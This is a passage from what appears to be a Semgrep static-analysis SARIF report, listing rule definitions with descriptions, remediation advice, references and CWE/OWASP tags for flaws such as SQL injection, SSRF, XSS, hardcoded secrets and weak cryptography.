[https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect","id":"generic.nginx.security.insecure-redirect.insecure-redirect","name":"generic.nginx.security.insecure-redirect.insecure-redirect","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.insecure-redirect.insecure-redirect"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","id":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","name":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SendGrid API Key detected"},"help":{"markdown":"SendGrid API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SendGrid API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","id":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","name":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","id":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","name":"java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-format.tainted-ssrf-deepsemgrep-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","id":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","name":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","id":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","name":"python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-empty-password.python-tormysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"help":{"markdown":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root)\n - [https://github.com/hadolint/hadolint/wiki/DL3002](https://github.com/hadolint/hadolint/wiki/DL3002)\n","text":"The last user in the container is 'root'. This is a security hazard because if an attacker gains control of the container they will have root access. Switch back to another user after running commands as 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root","id":"dockerfile.security.last-user-is-root.last-user-is-root","name":"dockerfile.security.last-user-is-root.last-user-is-root","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.last-user-is-root.last-user-is-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"help":{"markdown":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics","id":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","name":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.local-biometrics.insecure-biometrics"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","id":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","name":"java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"help":{"markdown":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#network_acls)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/network-security](https://docs.microsoft.com/en-us/azure/key-vault/general/network-security)\n","text":"Network ACLs allow you to reduce your exposure to risk by limiting what can access your key vault. The default action of the Network ACL should be set to deny for when IPs are not matched. Azure services can be allowed to bypass."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","id":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","name":"terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-specify-network-acl.keyvault-specify-network-acl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"help":{"markdown":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings)\n - [https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies](https://docs.microsoft.com/en-us/aspnet/web-api/overview/advanced/http-cookies)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.formsauthentication.requiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_FormsAuthentication_RequireSSL)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.roles.cookierequiressl?redirectedfrom=MSDN&view=netframework-4.8#System_Web_Security_Roles_CookieRequireSSL)\n","text":"Cookie Secure flag is explicitly disabled. You should enforce this value to avoid accidentally presenting sensitive cookie values over plaintext HTTP connections."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","id":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","name":"csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.web-config-insecure-cookie-settings.web-config-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)\n - [https://guides.rubyonrails.org/security.html#command-line-injection](https://guides.rubyonrails.org/security.html#command-line-injection)\n","text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec","id":"ruby.lang.security.dangerous-exec.dangerous-exec","name":"ruby.lang.security.dangerous-exec.dangerous-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-exec.dangerous-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"help":{"markdown":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag)\n - [https://www.developsec.com/2017/11/09/xss-in-a-script-tag/](https://www.developsec.com/2017/11/09/xss-in-a-script-tag/)\n - [https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68](https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68)\n","text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","id":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","name":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","id":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","name":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"help":{"markdown":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","id":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","name":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","id":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","name":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"help":{"markdown":"If unverified user data can reach the `exec` method it can result in Remote Code Execution\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection)\n - 